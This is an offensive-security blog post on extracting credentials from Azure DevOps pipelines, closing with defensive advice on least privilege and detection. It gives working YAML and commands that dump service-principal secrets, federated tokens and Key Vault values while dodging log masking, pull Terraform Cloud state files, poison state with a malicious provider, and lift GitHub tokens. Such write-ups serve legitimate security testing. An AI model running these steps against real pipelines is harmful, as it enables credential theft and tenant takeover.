Breaking Down Azure DevOps: Techniques for Extracting Pipeline Credentials
-
Thomas Byrne
- 30 Jul 2025
DevOps environments are often a popular target for attackers in any environment due to their inherent sensitivity. Access to sensitive source code repositories, highly privileged credentials and the opportunity to execute code onto pipeline runners offers promise to serve as the basis for a very successful engagement! However, with the vast amount of technologies and components making up these “loosely-coupled” environments driving the micro-services trend it can be daunting to approach the task of abusing these systems to achieve your objectives. A popular solution adopted by organisations of all sizes is Azure DevOps which serves as a respectable alternative to other solutions such as Jenkins. Development pipelines are often used along side Infrastructure as Code (IaC) solutions such as Terraform to manage the creation and configuration of resources in a repeatable and reliable way. This can add an additional layer of complexity itself since an organisation will have to architect a secrets management solution for both their pipeline identities and Terraform state files. One possible solution for state management is through the use of Terraform Cloud (TFC)1.
Until very recently the only option to allow pipeline identities to authenticate to remote services was by creating some sort of secret usually a username and password or sometimes by providing an access token. An organisation would then need to figure out a secure way to provide this secret to the pipeline identity, handle automatic rotation, tightly scope its permissions or perform some other sort of management in a centralised and visible way. This was very easy to understand from an attackers perspective - often leading to insecure credential storage with developers hardcoding secrets within code repositories. Alternatively, if using Azure DevOps this might be within an external credential store such as Azure KeyVault (AKV). Therefore, the path was clear - access KeyVault and compromise the credentials. However, with modern authentication protocols such as Open ID Connect (OIDC) this has changed the attack surface and will change how attackers approach these environments.
OIDC is an ever-increasingly popular authentication protocol used to standardise the process of authenticating and authorising users when they sign in to access digital services. Probably the most well-known use of OIDC is the ability to use existing email or social media accounts to sign in to third-party sites rather than creating a new username and password.
However, OIDC is now making itself more prevalent in DevOps environments with the implementation of “Workload Identity Federation”2 3. Workload Identity Federation seems to offer a solution to all of the problems discussed above but how does it really work? This post aims to explore how attackers can abuse ADO pipelines to extract credentials from pipeline identities and those using Workload Identity Federation and how this can be used to gain access to additional services including Azure Resource Manager (ARM) and TFC.
Ok with the introduction over, let’s set the scene. Let’s assume we’ve got a cloud environment that is using ADO to automate the deployment of resources into an Azure tenant. As part of that ADO has been integrated with GitHub where repositories are hosted that contain the Terraform code deploying the broader environment’s infrastructure. As part of this scenario, we will also make the following assumptions:
Within ADO, the recommended way to allow pipelines to authenticate to third-party resources such as ARM, GitHub, Docker, Bitbucker etc. is to use Service Connections4. A list of some available service connections can be seen below:
In order to allow Terraform to deploy resources in Azure, the pipeline agent will need access to an Azure Resource Manager (ARM) service connection. Before proceeding, it is important to understand the different types of ARM Service Connections. Firstly, there is the “secret” credential type which as you can probably imagine, uses a client_id
and client_secret
of a Service Principal to authenticate to resources. Secondly, there is “workload identity federation”5. This is Microsoft’s newer type of authentication flow and as previously mentioned, aims to reduce overhead of password management such as storage, handling and rotation. This allows a pipeline agent to connect to ARM (or any other service i.e. GitHub) using short-lived tokens. While this type of OIDC flow can give the appearance that there are no credentials used by the agent that can be compromised by an attacker, this is commonly misunderstood. There are two main ways an attacker with access to push malicious code to the pipeline can subvert this authentication flow:
Let’s go through both scenarios and explore how an attacker might be able to gain access to the sensitive credentials.
The AzureCLI@2
6 task can be used within a YAML pipeline specification to extract the Service Principal credentials, or in this case the workload identity federation token from the pipeline. However, in order to make these credentials available, the addSpnToEnvironment
parameter must be set to true
. Once defined, the inlineScript
input can be used to extract the credentials from the environment variables of the process.
- task: AzureCLI@2
inputs:
targetType: inline
addSpnToEnvironment: true
scriptType: bash
scriptLocation: inlineScript
azureSubscription: <Service Connection Name>
inlineScript: sh -c "env | grep \"idToken\" | base64 -w0 | base64 -w0; echo;"
Once the changes had been pushed to the repository and the pipeline is triggered (either automatically or manually), the credentials can be extracted from the pipeline logs. An example of this can be seen below:
Since the credentials were encoded twice to prevent them from being automatically removed by Azure DevOps7, they will need to be decoded twice:
base64 -d <<< $token | base64 -d
idToken=eyJ0eXAiOiJKV1QiLCJhbGciOi[...]
Looking at the structure of the token we can see that the audience is the AzureADTokenExchange
which means we can use this token to get a token for Azure protected resources. Further details on how this token is retrieved and used in a typical flow can be seen in the diagram below.
{
"alg": "RS256",
"kid": "ED1C1ACAF8970EA85FB33D7A47A94E9AC5989520",
"typ": "JWT",
"x5t": "7RwayviXDqhfsz16R6lOmsWYlSA"
}
{
"aud": "api://AzureADTokenExchange",
"exp": 1735912042,
"iat": 1735911443,
"iss": "https://vstoken.dev.azure.com/a0195c04-d91e-47ce-8574-14ce3f468f6c",
"jti": "04730b11-0e82-4761-8436-4a4c570370d2",
"nbf": 1735910843,
"sub": "sc://Reversec-organization/Reversec-project/Reversec-service-connection"
}
Microsoft’s documentation provides a really clear overview, detailing how the pipeline retrieves and uses the idToken
. Essentially the pipeline agent will request the OIDC federation token from vstoken.dev.azure.com
- the DevOps token issuer. Then the token can be exchanged with login.microsoftonline.com/{tenant}/oauth2/v2.0/token
8 for an access token to any Azure service including ARM or the Microsoft Graph API.
Once extracted, it is possible to exchange the workload identity federation token for an access token to any Microsoft service. The example below uses curl
to query Microsoft’s token exchange endpoint to get an access token for the Microsoft Graph API:
The client ID and Tenant identifier can be found in the environment variables using the same technique as discussed above
TENANT=""
CLIENTID=""
idToken=""
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: login.microsoftonline.com:443' \
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1818' \
-d "scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&client_id=${CLIENTID}&client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=${idToken}&grant_type=client_credentials" \
"https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token"
Alternatively the workload identity federation token can be used to directly authenticate to ARM using the Az CLI9:
az login --service-principal -u $CLIENTID --tenant $TENANT --federated-token $idToken
Using the now extracted workload identity federation token, it is possible to get an access token for ARM and access secrets stored in various KeyVaults. As mentioned earlier, we assumed that the environment is using TFC for state file management. For the pipeline agent to update its state file following any changes to the environment it will need an access token to authenticate to the necessary workspace. This will likely be stored in an external key store but for the purposes of this blog post we will assume it is within a KeyVault. This can easily be extracted with the newly compromised ARM token or by writing a new YAML pipeline definition to do it for you. Details on this has been discussed further down in the blog post.
Access to TFC can have a varying impact depending on how an organisation is using it. For example, TFC can be used as an alternative to ADO pipelines, allowing for pipeline runs to be executed on TFC agents, state file management, creation of custom providers and more. Any organisation serious about using Terraform will at some point have to consider a state management solution, each approach may differ depending on the existing tech stack, processes, policies and risk appetite etc. However, an organisation with TFC will likely use it for state management.
Terraform state files10 contain a mapping of the resources defined in the Terraform configuration and those that exist in the deployed infrastructure, this can often includes secrets for those resources. Using a compromised TFC token, it is possible to authenticate to the TFC APIs to extract State files for particular workspaces11.
The following bash script will list out all the workspaces that the token can access within the defined organisation.
ORGANIZATION=""
TOKEN=""
curl --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
--request GET \
"https://app.terraform.io/api/v2/organizations/$ORGANIZATION/workspaces" | jq '.data[].attributes.name'
Using the output from the command above, it is possible to get the state file download URL of the workspace. This will be named hosted-state-download-url
.
WORKSPACE=""
curl --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
"https://app.terraform.io/api/v2/state-versions?filter%5Bworkspace%5D%5Bname%5D=$WORKSPACE&filter%5Borganization%5D%5Bname%5D=$ORGANIZATION" | grep -i "hosted-state-download-url"
The hosted-state-download-url
will contain the full URL that can be used to download the state. Within this URL will be the State Version
value that identifies the unique state file to download. This will follow a format like sv-DmoXecHePnNznaA4
- as can be seen in the TFC documentation12.
StateVersion=""
curl -L --header "Authorization: Bearer $TOKEN" \
--header "Content-Type: application/vnd.api+json" \
"https://app.terraform.io/api/state-versions/$StateVersion/hosted_json_state" | jq
Now depending on an attacker’s motives, access to read the state file might be enough to achieve their objectives. However, in some scenarios an attacker might need to do more to perform further privilege escalation activities or move laterally to more critical assets.
One way to achieve this is by poisoning state files13. Modification of state file content can allow an adversary to obtain code execution under the context of the pipeline agent. In order to do this, an attacker could modify the state file of a different pipeline to include a reference to a malicious provider. This could be done by modifying the resources
object within the state file to include a reference to the malicious provider. An example custom malicious provider can be seen here:
"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/malicious/provider\"]", <------
"instances": [
]
},
As a deployment is being planned, this malicious provider would then be loaded and executed by Terraform, allowing for execution of code bundled within the provider. This could allow an adversary to execute code on each of the effected workspaces, under the context of the principal running the associated deployment task. As a result, an attacker with access to a TFC token could execute code on a number of different pipelines extracting the federated credentials from each and accessing additional Service Connections. The scope of the TFC token would determine the full impact but in a worst case scenario this could allow for modification of production resources or privilege escalation to Global Administrator within the Azure tenant.
It should be noted, that due care should be taken if choosing to do this against production resources. In an ideal world and in a collaborate engagement, this should be undertaken with coordination of the relevant internal teams to minimise potential impact to the environment. Modification of state files is extremely risky and can lead to system outages or impactful changes to the environments resources. Often the compromise of credentials within the state files is enough to achieve any objectives.
If the Service Connection being used by the pipeline is using the secret
credential type14 (instead of workload identity federation) then the extraction is slightly different. Previously the token could be found under the idToken
environment variable. However, when using the secret
type, the Service Connection uses a client ID and client secret to connect to Azure Resource Manager. By grepping for all environment variables that start with servicePrincipal
, it is possible to extract these.
In order to avoid missing information or re-running the pipeline which could arouse suspicions, you could just extract all environment variables from the process rather than searching for a specific one. Nonetheless, here is a code sample of how to extract the token from a self-hosted agent:
- task: AzureCLI@2
inputs:
targetType: inline
addSpnToEnvironment: true
scriptType: bash
scriptLocation: inlineScript
azureSubscription: <Service Connection Name>
inlineScript: sh -c "env | grep \"^servicePrincipal\" | base64 -w0 | base64 -w0; echo;"
As before, the output can be seen in the pipeline output. Note, this time the pipeline uses --password
rather than the --federated-token
parameter.
Decoding the output reveals the secrets used by the pipeline to authenticate to ARM.
servicePrincipalId=d7768[...]
servicePrincipalKey=~MN8Q~[...]
Alternatively, instead of extracting the federated token directly, legitimate tasks can be used to carry out your desired objectives, such as access to KeyVaults. As an example, on one engagement we used the AzureKeyVault@2
15 task to connect to a high-value KeyVault to extract credentials of a more privileged Service Principal that was used to move laterally across an organisation estate and gain Domain Administrator access to an on-premise environment.
The reason for the env:
parameter used in the example below is to map secret variables to environment variables16 since this is not done by default. Once mapped, the secrets from the KeyVault will be accessible as environment variables which can be accessed using the same technique as seen before but this time with a slightly different syntax.
steps:
- task: AzureKeyVault@2
inputs:
azureSubscription: <subscription name>
KeyVaultName: <key vault name>
connectedServiceName: <service connection name>
SecretsFilter: '*'
RunAsPreJob: true
- script: sh -c "env | base64 -w 0"
env:
<name of secret>: $(<name of secret>)
Now, if you don’t know the names of the secrets you want to extract from a KeyVault, it is sometimes possible to enumerate this information. However, it depends on the permissions given to the pipeline identity. In the example below, you would need permissions to list secrets (Microsoft.KeyVault/vaults/secrets/readMetadata/action
or Microsoft.KeyVault/vaults/secrets/read
) and then the permissions to get the value of the secret (Microsoft.KeyVault/vaults/secrets/getSecret/action
).
steps:
- task: AzureCLI@2
inputs:
azureSubscription: '<your-service-connection-name>' # Yes this is the name of the service connection and not the subscription - Microsoft can not name input parameters consistently
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# Set Key Vault name
KEYVAULT_NAME="<your-keyvault-name>"
# List all secret names
az keyvault secret list --vault-name $KEYVAULT_NAME --query "[].name" -o tsv
az keyvault key list --vault-name $KEYVAULT_NAME --query "[].name" -o tsv
Sometimes organisations might reuse credentials across pipelines for ease of use and management. It is much easier to give each pipeline one set of credentials to access a resource than providing a unique set with permissions scoped appropriately for each. However, with this ease of management comes an implicit security risk.
As mentioned earlier, one of our assumptions was that we only had access to one GitHub repository and one pipeline to conduct the assessment from. Sometimes it is possible to use the existing GitHub Service Connection to access other more sensitive repositories within the GitHub enterprise organization to facilitate further lateral movement in the tenant.
resources:
repositories:
- repository: ReversecTesting # Value does not matter. Only used as a reference
type: github
name: <GitHub Repo Name> # Takes format OrgOrUser/RepoName i.e. ReversecLabs/drozer
ref: refs/tags/v2.4.0
endpoint: "" # Name of GitHub Service Connection
steps:
- checkout: ReversecTesting
persistCredentials: true
- task: Bash@3
inputs:
targetType: inline
script: sh -c "cat .git/config | base64 -w0 | base64 -w0; echo;"
The output will be a base64 encoded config that looks something like this:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
longpaths = true
[remote "origin"]
url = https://github.com/[...]
fetch = +refs/heads/*:refs/remotes/origin/*
[gc]
auto = 0
[http]
version = HTTP/1.1
[http "https://github.com/[...]"]
extraheader = AUTHORIZATION: basic [...]
This can be added to your .git/config
file which can then be used to authenticate your subsequent git commands to access certain (otherwise inaccessible) repositories. The main interesting thing here is the extraheader
value that will contain an access token for GitHub.
Once the config is set, the following commands can be used to pull the repository.
git init
# Add your compromised config - $ vim ./.git/config
git fetch --force --tags --prune --prune-tags --progress --no-recurse-submodules origin
git pull origin main
In order to actually carry out these attacks, knowledge of the Service Connection name is required, which is not always trivial to get. Without this, an attacker would be unable to use a specific Service Principal and therefore extract its credentials. While typically an attacker would need privileged access to ADO to view all available Service Connections, they would likely be able to achieve this by looking into source code or commit history within GitHub (or Azure Repos) or looking at previous pipeline runs.
In conclusion, while Azure DevOps and Workload Identity Federation offer streamlined solutions for managing and securing DevOps environments, they also introduce new vectors for potential security breaches. The shift towards ‘credential-less’ authentication does not eliminate the presence of credentials altogether, but rather abstracts them, necessitating a deeper and more nuanced approach to security in DevOps practices. It is crucial for organisations to remain vigilant and proactive in identifying and mitigating these risks. Use of Workload Identity Federation alone is not enough to secure your privileged identities. All too often we see customers using one Service Principal across all their pipelines for both dev and production environments, leading to trivial privilege escalation opportunities. Proper segmentation and separation of duties, adhering to the principle of least privileged should always be followed. This will be adopted differently depending on each environment, but at minimum different principals should be used for production and non-production environments. In an ideal world however, there would be separate identities per workload.
Lastly, ensuring effective monitoring solutions are in place to detect against these types of attacks is never a bad thing. Obviously, the feasibility of this depends on whether you are using ephemeral or self-hosted runners, which is why the trade off of each should be considered carefully. If possible, Microsoft Conditional Access for workload identities17 is a great way to further harden Service Principals by preventing them from being used from outside of defined/ trusted network locations. But this does come at additional licensing costs. Also, if an attacker has the ability to execute code on your pipeline to extract credentials for these identities, they could just as easily establish a SOCKS proxy on the pipeline agent to proxy their requests through to ensure they are adhering to the Conditional Access rules. As such, in addition to any preventative measures in place, organisations need to also build out detections to flag potentially anomalous activities from these service principals so that they can be investigated and a security incident can be raised if unexpected actions are observed.
https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation ↩
https://cloud.google.com/iam/docs/workload-identity-federation ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/library/service-endpoints?view=azure-devops ↩
https://devblogs.microsoft.com/devops/introduction-to-azure-devops-workload-identity-federation-oidc-with-terraform/ ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/tasks/reference/azure-cli-v2?view=azure-pipelines ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/security/secrets?view=azure-devops#dont-write-secrets-to-logs ↩
https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-client-creds-grant-flow#third-case-access-token-request-with-a-federated-credential ↩
https://learn.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az-login ↩
https://developer.hashicorp.com/terraform/language/state/sensitive-data ↩
https://developer.hashicorp.com/terraform/cloud-docs/workspaces ↩
https://developer.hashicorp.com/terraform/cloud-docs/api-docs/state-versions#sample-response ↩
https://www.plerion.com/blog/hacking-terraform-state-for-privilege-escalation ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/library/azure-resource-manager-alternate-approaches?view=azure-devops#create-an-app-registration-with-a-secret-automatic ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/tasks/reference/azure-key-vault-v2?view=azure-pipelines ↩
https://learn.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&tabs=yaml%2Cbatch#secret-variables ↩
https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identity ↩